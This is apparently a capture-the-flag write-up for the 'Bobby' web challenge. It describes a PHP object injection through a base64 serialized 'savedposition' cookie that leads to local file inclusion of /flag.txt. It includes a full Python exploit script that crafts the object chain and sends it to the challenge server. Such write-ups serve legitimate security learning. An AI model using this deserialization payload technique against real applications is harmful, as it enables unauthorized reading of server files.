Bobby Web Challenge

Web 500

Description

"My friend is a chess enthusiast. He has a website where he can analyze his friends' games."

Identifying the Vulnerability

After examining the application, I found that it was vulnerable to PHP Object Injection (POI) via insecure deserialization, which could lead to Local File Inclusion (LFI).

From the challenge description, it was evident that the website processed chess game positions. The application stored serialized PHP objects, which hinted at a possible object injection vulnerability.

Finding the Attack Vector

By inspecting the cookies, I discovered a key named savedposition. This suggested that the application stored serialized data client-side. Since PHP uses unserialize(), it could be possible to craft a malicious object.

The vulnerability likely existed in the way the application processed the saved chess positions, allowing me to manipulate the serialized PHP objects.

Crafting the Exploit

I created a payload that takes advantage of PHP object deserialization to manipulate the ChessGame class and change the position attribute to reference a system file (/flag.txt).

The exploit script constructs a serialized PHP object with these classes:

  • ChessGame: The position field is set to a file path.
  • PositionAnalyzer: Contains the ChessGame object.
  • MoveValidator: Encapsulates the PositionAnalyzer object.
exploit.py Python
#!/usr/bin/env python3
import base64
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://af5fb186717328db2b532.playat.flagyard.com/"
filepath = "/flag.txt"
phpsessid = "ea8e0b63d85fa946c1a188271086be11"

# Craft malicious PHP objects
chess_game = f'O:9:"ChessGame":1:{{s:8:"position";s:{len(filepath)}:"{filepath}";}}'
position_analyzer = f'O:16:"PositionAnalyzer":2:{{s:10:"gameRecord";s:4:"test";s:15:"currentPosition";{chess_game}}}'
move_validator = f'O:13:"MoveValidator":3:{{s:4:"move";s:2:"e4";s:8:"analyzer";{position_analyzer};s:5:"chess";{chess_game}}}'
payload = base64.b64encode(move_validator.encode()).decode()

cookies = {
    'savedposition': payload,
    'PHPSESSID': phpsessid
}

try:
    response = requests.get(url, cookies=cookies, verify=False)
    print(response.text)
    
    # Save response to a file
    filename = filepath.replace("/", "").replace(".", "_") + ".html"
    with open(filename, "w") as f:
        f.write(response.text)
    print(f"\n[+] Response saved to {filename}")

except Exception as e:
    print(f"[!] Error: {e}")

Understanding the Exploit

Let's break down how the exploit works:

  1. I create three serialized PHP objects that mimic the application's class structure.
  2. The ChessGame object has its position property set to /flag.txt.
  3. This object is wrapped in PositionAnalyzer and MoveValidator objects to match the expected structure.
  4. The entire object chain is Base64-encoded and injected into the savedposition cookie.
  5. When the application unserializes this data, it processes the position value which points to /flag.txt.
  6. This triggers a Local File Inclusion that reads and displays the flag file.

Execution and Results

When I sent the crafted request to the server:

  1. The server deserialized the malicious objects.
  2. When processing the chess position, it accessed the file path I specified (/flag.txt).
  3. Due to the local file inclusion vulnerability, the contents of the flag were included in the response.
  4. The script successfully retrieved and displayed the flag.

Flag

FlagY{*******}